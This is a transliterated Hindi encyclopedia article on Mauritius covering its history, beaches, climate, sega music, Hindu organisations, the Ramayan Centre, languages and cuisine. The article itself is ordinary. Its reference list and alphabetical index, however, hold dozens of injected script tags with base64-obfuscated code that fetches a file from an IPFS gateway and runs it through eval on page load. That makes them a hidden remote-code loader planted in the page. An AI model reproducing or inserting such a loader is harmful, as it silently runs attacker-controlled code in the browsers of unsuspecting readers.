मॉरीशस

	m aaurishas
	m aaurishas ka rashtriy dhvaj\|200px\|center
rajadhani	port luee
rajabhasha	aangrezi
nivasi	m aaurishiyaee
svatantrata prapti	1968
ganarajy	1992
mudra	m aaurishiyaee rupaya (MUR)
yatayat chalan disha	baean
doorabhash koot	230
rashtravaky	"Stella Clavisque Maris Indici" (laitin); "hind mahasagar ka sitara aur kuanji"
rashtragan	madaralaiand (matribhoomi)
any janakari	m aaurishas ki janasankhya mean lagabhag 52 pratishat hindoo haian. yahaan ke hianduoan mean shaivoan ki sankhya sarvadhik hai. yahi vajah hai ki yahaan shiv ke mandiroan ki bahutayat hai.

m aaurishas (aangrezi: Mauritius) nile sagar aur shvet sagar tatoan ka desh hai. yah duniya ke sabase khoobasoorat dvipoan mean se ek hai, jisake lie mark tven ne kaha tha ki- "eeshvar ne pahale m aaurishas banaya aur phir usamean se svarg ki rachana ki." m aaurishas aur bharat ka bahut gahara nata hai. m aaurishas ko aupaniveshik shasan se azadi dilane mean bharatiy mool ke sar shivasagar ramagulam ne aguaee ki thi. aj bhi vahaan hindi aur bhojapuri ka prachalan dekhakar videshi jamin par bharatiy mitti ki mahak mahasoos ki ja sakati hai. yah desh afrika mean sabase adhik prativyakti ay vale deshoan mean se ek hai.

itihas

yadi m aaurishas ke itihas par drishti dali jaye to sabase purane abhilekh lagabhag 10vian shatabdi ki shuruat ke haian, jo dravi d (tamil) aur aaustroneshi navikoan ke sandanrbh se ate hai. purtagali navik sabase pahale yahaan 1507 ee. mean aye. unhoanne is nirjan dvip par ek yatra adda sthapit kiya aur phir is dvip ko chho dakar chale gaye. sanh 1598 ee. mean h aaulaiand ke tin pot jo masala dvip ki yatra par nikale the, ek chakravat ke dauran rasta bhatak kar yahaan pahuanch gaye. unhoanne is dvip ka nam apane nasaoan ke yuvaraj m aauris ke samman mean m aaurishas rakh diya. 1638 ee. mean dach logoan ne yahaan pahali sthayi basti basaee.

chakravatoan vali kathor jalavayu ki paristhitiyoan aur basti ko hone vale lagatar nukasan ke karan dachoan ne kuchh dashakoan ke bad is dvip ko chho d diya. fraans, jisaka pahale se hi isake p dosi ail b aaurabon (ab riyooniyan) dvip par niyantran tha, ne 1715 ee. mean m aaurishas par kabza kar liya aur isaka nam badalakar 'ail de fraans' (fraans ka dvip) rakh diya. fraans ke shasan mean yah dvip ek samriddh arthavyavastha ke roop mean vikasit hua jo chini utpadan par adharit thi. yah arthik parivartan gavarnar phreank aaues mahe de leb aaurd aaunais ke dvara shuroo kiya gaya tha. briten ke sath apane kee sainy sangharshoan ke dauran, fraans ne gairaqanooni ghoshit jaladasyuoan korsers ko sharan di, jo aksar british jahajoan, jin par moolyavan vyapar ka mal lada hota tha, ko unaki bharat aur briten ke madhy hone vali yatraoan ke dauran loot lete the. sanh 1803-1815 ke dauran hue nepoliyan yuddhoan mean british is dvip ka niyantran pane mean saphal ho gaye. thumb|left|250px|m aaurishas ka kul chihn graand port ki l daee jitane ke bavajood, jo ki nepoliyan ki britishoan par ekamatr samudri vijay thi, fraansisi, tin mahine bad, kep mailahyur aau mean briten se har gaye. unhoanne aupacharik roop se 3 disambar, 1810 ee. ko kuchh shartoan ke sath samarpan kar diya. shartean yah thian ki dvip par fraansisi bhasha ka prayog jari rahega aur aparadhik mamaloan mean nagarikoan par fraans ka qanoon lagoo hoga. british shasan ke aantargat is dvip ka nam badalakar vapas m aaurishas kar diya gaya. 1965 mean briten ne chhagos dvipasamooh ko m aaurishas se alag kar diya. unhoanne aisa british hiand mahasagar kshetr sthapit karane ke liye kiya, jisase ve samarik mahatv ke dvipoan ka prayog sanyukt rajy amerika ke sath raksha sahayog ke vibhinn prayojanoan ke lie kar sakean. halaanki m aaurishas ki tatkalin sarakar unake is kadam se sahamat thi, par bad ki sarakaroan ne unake is kadam ko aantararashtriy qanoon ke tahat avaidh bataya aur in dvip samoohoan par apana adhikar jataya hai. m aaurishas ne 1968 mean svatantrata prapt ki aur desh rashtramandal ke tahat 1992 mean ek ganatantr bana. m aaurishas ek sthir lokatantr hai, jahaan niyamit roop se svatantr chunav hote haian aur manavadhikaroan ke mamale mean bhi desh ki chhavi achchhi hai. isake chalate yahaan kaphi videshi nivesh hua hai aur

paryatan

thumb|250px|left|m aaurishas ka ek drishy door-door tak phaile safed samudr tat m aaurishas ko sapanoan sa suandar bana dete haian. safed ret se chamakate isake tat un logoan ke lie svarg haian jo samudr ka anand uthana chahate haian ya bas dhoop seankana chahate haian. dvip mean har or b de-b de sarvajanik samudr tat haian jo saptah ke dauran apake aram karane ke lie anant sanbhavanaean aur saptahaantoan mean sthaniy logoan se milane-julane ke vyapak avasar muhaiya karate haian. adhikaansh sarvajanik tat tairane ke lie adarsh haian. m aaurishas ka uttari bhag vatar sports jaise vatar skiiang, viand sarphiang, seliang, gahare jal mean machhaliyaan pak dane aur pairaseliang adi ke lie prasiddh hai. sham ko yahaan ke bar, restaraan aur klab jivant ho uthate haian jahaan se ap sooryast ka nazara bhi dekh sakate haian.

poorvi hissa adhik hara-bhara aur alpavikasit hai jisaki vajah se yahaan par apako prakriti poore rang mean dikhati haian. palamar aur bailamar ke safed samudr tat bahut hi suramy haian.
dakshin poorv apane ooanche chattanoan ke lie mashahoor hai jahaan se dvip ke dakshini sire ki or jane par apako khoobasoorat nazare dikhate haian. yahaan par chattanoan ke bich ke dararoan se khula samudr zamin tak a jata hai aur chattanoan se takarate hue ek svapnil drishy utpann karata hai.
pashchimi tat mean ap adbhut sooryastoan aur gahare jal mean machhali pak dane ka anand utha sakate hai. sarpharoan ko temerin jana chahie jo m aaurishas ka sarphig seantar hai. yahaan par shuruat karane vale log sarph skool mean sarfiang ke besiks sikh sakate haian.
m aaurishas ke adhikaansh bich hotal apane grahakoan ko kaanplimeantari vatar sports suvidha muhaiyya karate haian. skooba daiviang, pairaseliang aur dip si phishiang atirikt lagat par upalabdh hai.

as-pas

port luis aur narth ke akarshak 360 digri nazare ke lie 812 mitar ooanchaee par sthit la poor ya 'd thanb' par chadhaee karean. yah la l aaura gaanv se do ghante ki asan chadhaee hai aur port luis pahuanchane mean aur 2 ghante lagate hai. ap baik, gho de ya charapahiya vahan se moka mauten par ja sakate haian jahaan domen pelis ka 1500 hekteyar mean phaila nechar park hai. ap tren ya gho daga di mean shugar mil aur ram distilari bhi ja sakate haian. sthaniy vanaspati, pakshiyoan aur vany jivan dekhane ke lie ap blaik rivar jarj neshanal park ja sakate haian. hazaroan nil magaramachchhoan ki vajah se la venil dis meskeraians ko am bhasha mean 'krokodail park' bhi kaha jata hai. ap rajashani port luis mean khoobasoorat aupaniveshik shilpakala ke udaharan dekh sakate haian jaise gavarnameant haus. bloo peni myoojiyam mean duniya ke durlabhatam staianp dekhean ya nechural histri myoojiyam ki sair karean. port luis ke chahal-pahal vale saiantral market, d k aaudan vataraphrant ke kr aaupht market ya dvip mean har kahian dikhane vale sh aaupiang seantaroan se ap smriti chihn ki kharidari kar sakate haian.

yatayat aur parivahan

m aaurishas jane ke lie muanbee, chennee aur dilli se eyar m aaurishas ki u danean haian jo muanbee se saptah mean 4 bar, chennee se 1 bar aur dilli se 2 bar u dan bharati haian. sar shivasagar ramagulam havaeeadda jise am taur par pleseans eyaraport kaha jata hai, port luis se 48 ki.mi. dakshinapoorv mean hai. shahar jane-ane ke lie taiksiyaan upalabdh haian jisamean 45 minat ka samay lagata hai.

bhaugolik dashaean

thumb|250px|m aaurishas ke pashchim tat m aaurishas ko sal bhar ek halke, ushnakatibandhiy jalavayu ka ashish prapt hai. tapaman mean koee mausami parivartan ya badalav nahian hote haian. m aaurishas ka mausam sukhad dhoop vala rahata hai. is suandar desh mean do mausam haian; navanbar se aprail tak tej garmi aur joon se sitanbar tak shushk aur thandi sardi. aktoobar aur mee yah do mahine mausam mean badalav vale haian. varsh ke sabase garm mahine janavari aur faravari haian. sabase achchhe mahinoan mean julaee aur agast mean tapaman 16.4 digri selsiyas rahata hai.^[1]

varsha

m aaurishas ka mausam jaduee hai. yahaan aksar yah hota hai ki yah ek kshetr mean barish aur doosare kshetr mean soory shanadar dhang se keval kuchh hi kilomitar ki doori par chamakata hai. barish lagabhag sabhi mahinoan mean hoti hai, lekin disambar se aprail sabase kharab mahine haian. in mahinoan mean kabhi-kabhi ushnakatibandhiy chakravat ate haian, jisase bhari varsha hoti hai aur bahut tej havaean chalati haian. varsha bhinn kshetr mean alag-alag hoti hai, lekin is dvip par varshik varsha 210 mi.mi. tak hoti hai.

dhoop

m aaurishas ke dvip par rozana 6 se 8 ghante tak dhoop rahati hai. garmiyoan mean sooryoday lagabhag 5 baje hota hai, jabaki sardiyoan mean sooryoday ek ghante bad shuroo hota hai. garmiyoan ke mahinoan mean, ooanche sthanoan par 6 ghante tak achchhi dhoop hoti hai, jabaki tatiy kshetroan mean 7 se 8 ghante tak dhoop hoti hai. sardiyoan mean, din bhar mean 5 ghante dhoop hoti hai, jabaki tat par 7 ghante dhoop hoti hai.

samudri tapaman

m aaurishas ke asapas samudr ka tapaman amataur par sukhad hota hai, jo 26-25 digri selsiyas se lekar grishm rritu mean 23-25 digri selsiyas tak hota hai. sardiyoan mean eantikaklon kabhi-kabhi 2 ya 3 digri selsiyas tapaman ke girane ke karan banate hai. poore dvip ke asapas ke koral riphs utkrisht aur adarsh samudr ki sthiti ka parinam hai. chattanoan ne ise adarsh sthan bana diya hai. bhari barish ke karan pani ke tapaman mean badalav ho sakata hai.

havaean

apane pair ki uangaliyoan mean ret aur apane baloan mean hava; yahi m aaurishas mean chhutiyaan bitane ka sahi tarika hai. yahaan soory asaman mean bhoomadhy rekha ke najadik sthit hai, yahi desh ke atyadhik garmi ka karan hai. tred viand satah ki vayu hai, jo ki uposhnakatibandhiy uchch dabav vale kshetr se bahati rahati haian. ye dakshin-poorv ki tred viand m aaurishas ki jalavayu par pratyaksh prabhav dalati hai. ve badaloan ko dvip ke dakshin poorv mean paha doan par ikattha hone ke lie dhakka deti haian, jisake bad badal dhire-dhire barish aur tej havaoan ke roop mean apani bachi huee nami ke sath barasate haian.

chakravat

halaanki poorvavarti dakshin-poorvi havaean poore sal bhar bahati rahati haian, ve vastav mean hanirahit aur sukhad haian. jabaki chakravat ke mamale mean sthiti bahut hi vikat ho sakati hai. chakravat janavari se march ke mahinoan ke dauran utpann hote haian. is samay ke dauran hava aur pani ke tapaman mean bahut tezise vriddhi hoti hai. aank de batate haian ki m aaurishas har 5 saloan mean ek chakravat ke keandr mean hota hai. phir bhi dvip sirph tin se paanch toophanoan ke chapet mean aya hai.

sanskriti

m aaurishas ko isake svadisht khane se bhi jana jata hai, jo bharatiy, chini, kreyol aur yooropiyan khano ka mishran hai. is dvip par ram ka utpadan b de paimane par hota hai. 1638 ee. mean dach logoan ne m aaurishas ko sabase pahale ganna se parichit karaya. dach ganne ki kheti mukhyatah arak (ram ka ek poorv prakar) ke utpadan ke lie karate the. lekin fraans aur briten ke shasan ke dauran yahaan ganne ki kheti ko b de paimane par kiya gaya, jisane is dvip ke arthik vikas mean kaphi yogadan diya. piyare charls phreankoez harel pahala vyakti tha, jisane 1850 mean m aaurishas mean ram ke sthaniy asavan ka prastav kiya. sega yahaan ka sthaniy lok sangit hai. sega moolat: aphriki sangit hai, jisamean paranparagat vadyoan ka upayog hota hai, jaise- ravane jise bakari ki tvacha se banaya jata hai. amataur par sega mean gulami ke dinoan ki yatanaoan ka varnan hota hai. sath hi in gitoan mean ajakal ke daur mean ashvetoan ki samajik samasyaoan ko bhi uthaya jata hai. amataur par purushoan dvara vady bajae jate haian aur mahilayean sath mean nrity karati haian. tatiy kshetr ke hotaloan mean ye sho niyamit roop se ayojit kiye jate haian.

rajaniti tatha samaj par hindoo prabhav

thumb|250px|m aaurishas ka ek drishy m aaurishas ki janasankhya mean lagabhag 52 pratishat hindoo haian. afrika mahadvip mean sabase jyada. jahir hai, sthaniy rajaniti, samaj aur sanskriti par unaki pradhanata hogi hi. m aaurishas mean dharmik astha ke star par ek kism ka navajagaran chal raha hai, jisake pichhe kee hiandoo sangathanoan ki dashakoan ki mehanat chhipi hai. in sangathanoan mean hiandoo svayansevak sangh, hiandoo mahasabha, vishv hiandoo parishad, m aaurishas sanatan dharm mandir sangh, m aaurishas ary sabha, ary samaj, sanatan dharm pracharini sabha, m aaurishas tamil mandir sangh, m aaurishas aandhr sabha, m aaurishas marathi mandali sangh adi ka jikr khas taur par hota hai. hiandoo svayansevak sangh, rashtriy svayansevak sangh ke m aaurishas chauptar ke roop mean sangh ki vicharadhara tatha kam ko age badhane mean juta hai. m aaurishas mean chinmay mishan, mata amritanandamayi ashram, ramkrishna mishan, iskan aur brahmakumari ashram adi ki bhi shakhaean haian, jinhoanne yahaan ke samajik tane-bane ko prabhavit kiya hai.

m aaurishas ke hianduoan mean shaivoan ki sankhya sarvadhik hai. yahi vajah hai ki yahaan shiv ke mandiroan ki bahutayat hai. m aaurishas ke uttari bhag mean sthit maheshvaranath mandir jo trayolet shivala ke nam se bhi charchit hai, bhi ganga talab se kam prasiddh nahian hai. vastav mean yah mandir do sadiyoan se m aaurishas mean hiandoo pahachan ka mahatvapoorn pratik hai. poorvi m aaurishas mean ek manoram dvip par atyant darshaniy sagar shiv mandir hai. charoan taraph se ati samudri laharoan aur samudri havaoan ke bich phaharata hua sagar shiv mandir ka dhvaj mano udghosh kar raha ho ki m aaurishas mean bharatiyata aur adhyatm ki kirti pataka hamesha ooanchi rahegi. m aaurishas ke mandiroan ki ek khas bat hai. bhale hi mandir ka pradhan devata koee bhi ho, darjanoan doosare devataoan ki moortiyaan bhi raheangi. aisa isalie taki har astha ke vyakti ko apane aradhy ke darshan ho jaean. vaise yahaan ke bharatavanshiyoan ke gharoan mean bhi mandir hona anivary hai aur ye mandir haian hanuman ke.

isi prakar uttar bharatiy prishthabhoomi vale hianduoan ke sangathan, mandir adi hiandi ke sath ju dav mahasoos karate haian. karib tin sau hiandibhashi mandiroan ka ek alag sangathan bhi hai, jisaka nam hai- sanatan dharm mandir sangathan. kee mandiroan mean hiandi ki prathamik kakshaean lagati haian, jinamean nanhean bachchoan ko hiandi akshar jnan karaya jata hai. hiandi se ju de kee sahityik, shaikshanik aur saanskritik ayojan bhi yahaan hote haian. hiandi bhashiyoan ke lie samudayik gatividhiyoan ka keandr ban rahe ye mandir dharmik dayitv nibhane ke sath-sath bhashaoan ke prasar ko bhi apana uddeshy manakar chalate haian. halaanki amarika, kanada, ianglaiand adi deshoan mean bhi mandir bharatiyoan ki saanskritik aur bhashayi gatividhiyoan ke keandr ban rahe haian.^[2]

ramayan seantar

m aaurishas ki sansad ne 2001 mean ek qanoon banakar 'ramayan seantar' ki sthapana ki thi, jo ab hiandoo dharm aur ramayan adhyayan ka aantarrashtriy keandr ban chuka hai. m aaurishas ki sansad mean muslim, eesaee sahit doosare sanpraday ke logoan ne ekasur se ramayan seantar banane ke prastav ka samarthan kiya tha. m aaurishas ka ramayan seantar pahale tab charcha mean aya tha, jab yahaan ki sansad ne bakayada qanoon banakar is sansthan ke nirman ko manjoori di thi. sansad ne qanoon 2001 mean banaya tha aur agale sal isaka nirman kary bhi shuroo ho gaya. m aaurishas duniya ke un ginechune deshoan mean hai, jahaan takariban adhi abadi (52 pratishat) abadi hiandoo hai, lekin yahaan doosare dharm ke log bhi achchhi-khasi tadad mean rahate haian. takariban 30 pratishat log eesaee haian aur musalamanoan ki abadi 17 pratishat hai.^[3]

hiand mahasagar mean sthit lekin bhaugolik roop se aphriki mahadvip ke najadik sthit m aaurishas ka sanvidhan use dharmanirapeksh rashtr ghoshit karata hai. yahi vajah hai ki jab sansad se ramayan seantar ke lie qanoon banaya gaya to is par bharat sahit duniya bhar mean kaphi hairat jataee gee. saval yah bhi utha ki kya m aaurishas hiandoo rashtr banane ki rah par hai? lekin is desh ko samajhane vale batate haian ki ram aur ramayan adhe m aaurishasavasiyoan ke lie to poori tarah se dharmik vishay ho sakata hai, lekin takariban poori janasankhya ke lie saanskritik virasat hai. m aaurishas ke lekhak pandit rajeandr arun ke anusar ‘m aaurishas ki rashtriy sansad mean muslim aur eesaee sahit doosare sanpraday ke logoan ne ek sur se ramayan seantar banane ke prastav ka samarthan kiya tha. yah is bat ka pratik hai ki ramayan ki shikshaean sabhi ke lie mahatvapoorn haian.’

m aaurishas ke samaj mean ramayan ki shikshaean itani mahatvapoorn mani jati haian ki ise vahaan ke skooli pathyakram ka hissa bhi banaya gaya hai. halaanki yah ek vaikalpik vishay hai, lekin yahaan ke jyadatar bachche ise padhana pasand karate haian. ramayan ki isi lokapriyata ne is desh mean ramayan seantar ki nianv rakhi hai. m aaurishas ke ramayan seantar ki ek aur khas bat hai ki yah pichhale saloan mean ramayan aur hiandoo dharm se ju de kee aantarrashtriy sammelanoan ko ayojit kar chuka hai.

kab jaean

m aaurishas parivar ki chhuttiyoan ke lie svapn ka sthal hai. varsh ke dauran jyadatar samay m aaurishas ka mausam garm aur sukhad rahata hai. yah sanpoorn varsh achchhi yatra ki ek jagah ke roop mean achchha rahata hai. samudr tat ke premiyoan ke lie, garmiyoan ke mahine sabase achchhe haian. sardiyoan ke mahinoan ke dauran thand ka mausam m aaurishas ke vayumandal mean nami ko kam karata hai aur yah haikiang, trekiang aur kvad baikiang jaise gatividhiyoan mean shamil hone ka sahi samay hai. daiviang ke prati utsahi logoan ko disanbar se march ke madhy mean pahuanchana chahie. is samay samudr ka pani svachchh rahata hai.

bhasha

m aaurishas ki adhikarik bhasha aangrezi hai, isalie sarakar ka sara prashasanik kamakaj aangrezi mean hota hai. shiksha pranali mean aangrezi ke sath fraansisi ka bhi istemal kiya jata hai. phraansisi bhasha midiya ki mukhy bhasha hai, chahe prasaran ho ya mudran. isake alava vyapar aur udyog jagat ke mamaloan mean bhi mukhyatah phraansisi hi prayog mean ati hai. sabase vyapak roop se yahaan m aaurishiyan kreyol bhasha boli jati hai. hindi bhi ek b de varg dvara boli v samajhi jati hai.

khanapan

yahaan ka sthaniy zayaqa 3 mahadvipoan se aya hai jo samay-samay par un mahadvipoan se yahaan akar base vibhinn saanskritik virasatoan aur pak paranparaoan vale nivasiyoan ne vikasit kiya haian. agantuk ek hi jagah bharatiy, chini, greol aur yooropiy vyanjanoan ka svad chakh sakate haian, sab milakar anootha svad banate haian. yahaan ka sthaniy pasandida snaik 'dhol poori' zaroor ajamaean, yah pili matar ki dal bhare ate ki poori hoti hai jisako kari aur tamatar ke s aaus ke sath parosa jata hai. farata, jilr baits ya 'samosa' bhi yahaan khoob pasand kie jate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ m aaurishas ke mausam ko aur bhi behatar tarike se janie (hindi) blog.thomascook.in. abhigaman tithi: 07 agast, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ m aaurishas mean 'ram-ram' (hiandi) praveenguptahindu.blogspot. abhigaman tithi: 07 agast, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ kaisa hai m aaurishas ka ramayan seantar (hiandi) satyagrah.scroll.in. abhigaman tithi: 07 agast, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p 